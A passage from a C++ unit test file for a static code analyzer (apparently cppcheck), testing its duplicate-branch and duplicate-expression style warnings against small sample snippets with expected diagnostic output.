= (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n 